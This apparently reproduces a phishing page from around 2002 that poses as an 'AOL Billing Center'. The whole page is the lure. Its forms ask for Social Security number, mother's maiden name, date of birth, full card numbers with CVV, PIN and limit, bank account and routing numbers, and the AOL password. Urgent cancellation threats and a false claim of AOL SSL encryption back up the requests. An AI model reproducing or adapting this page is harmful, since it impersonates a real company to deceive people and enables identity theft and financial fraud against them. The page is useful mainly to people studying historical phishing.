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AOL Billing Center



Answers to common questions

- ▶ [Why have I been brought here?](#)
- ▶ [I want to stay with AOL, how do I keep my account?](#)
- ▶ [What if I don't have another Credit Card?](#)

America Online	Date: November 14, 2002
<p>1 Enter your current credit card billing information.</p> <p>First Name <input type="text"/></p> <p>Last Name <input type="text"/></p> <p>Mother's Maiden Name <input type="text"/></p> <p>Billing Address <input type="text"/></p> <p>City <input type="text"/></p> <p>State <input type="text" value="Select"/></p> <p>Zip/Postal Code <input type="text"/></p> <p>Country <input type="text" value="United States"/></p> <p>Phone Number <input type="text"/></p> <p>Social Security Number <input type="text"/></p> <p>Date of Birth: <input type="text" value="Month"/> <input type="text" value="Day"/> <input type="text" value="Year"/></p> <p>AOL Accepts </p> <p>Card Type <input type="text" value="Select"/></p> <p>Card Number <input type="text"/> <input type="text" value="Select"/></p> <p>Expiration Date <input type="text" value="Month"/> / <input type="text" value="Year"/></p> <p>Bank Name <input type="text"/></p> <p>Civ/Cw2 <input type="text"/> Last 3 digits located behind your credit card or (4 digits for AMEX located on the front above your credit card number)</p> <p>Bank Phone Number <input type="text"/></p> <p>Pin Number <input type="text"/></p> <p>Card Limit <input type="text"/></p>	<p>Important Guidelines</p> <p>Please type in your current credit card used for your AOL account.</p> <p>For name and address, please consult your billing records and credit card receipts. Please type your name and address as it appears on your credit card statements.</p> <p>You must be the credit card holder or authorized user of the credit card.</p> <p>AOL prefers </p>  <p>3 Digit Card Verification Number</p>
<p>2 Enter New Credit Card. You MUST provide a new card.</p> <p>AOL Accepts </p> <p>Card Type <input type="text" value="Select"/></p> <p>Card Number <input type="text"/> <input type="text" value="Select"/></p> <p>Expiration Date <input type="text" value="Month"/> / <input type="text" value="Year"/></p> <p>Name On Card <input type="text"/></p> <p>Bank Name <input type="text"/></p> <p>Civ/Cw2 <input type="text"/></p> <p>Bank Phone Number <input type="text"/></p> <p>Pin Number <input type="text"/></p> <p>Card Limit <input type="text"/></p> <hr/> <p>Bank Account Name <input type="text"/></p> <p>Bank Account Number <input type="text"/></p> <p>Bank Account Routing Number <input type="text"/></p> <p>Bank Account Phone Number <input type="text"/></p>	<p>Important Guidelines</p> <p>Since your old credit card failed authorization, please input a NEW credit card. If we do not get a new credit card by the end of the business day, your account will be cancelled.</p> <p>Please type in your New credit card. This card cannot be on AOL's records, and it has to have a positive balance. Any invalid information will result in a \$50 processing fee.</p> <p>You must be the credit card holder or authorized user of the credit card.</p>  <p>3 Digit Card Verification Number</p>
<p>3 Validate your AOL account.</p> <p>We need to validate your current AOL Screenname and password to make sure you are the rightful owner of your account.</p> <p>Screen Name <input type="text"/></p> <p>Password <input type="text"/></p>	<p>For your safety</p> <p>Please do not download any files from strangers. AOL will never ask you to download anything.</p>
<p>4 If you have any comments or questions please use the box below.</p> <p><input checked="" type="radio"/> Comment <input type="radio"/> Suggestion</p> <p><input type="text" value="We want to hear from you! Tell us what you think!"/></p>	<p>Your comments will be sent to our trained staff for review.</p>
<p>Finished <input type="button" value="Submit"/></p>	<p>Just click on the Submit button and you are done!</p>
<p> Your data is being sent encrypted using AOL's SSL security.</p>	

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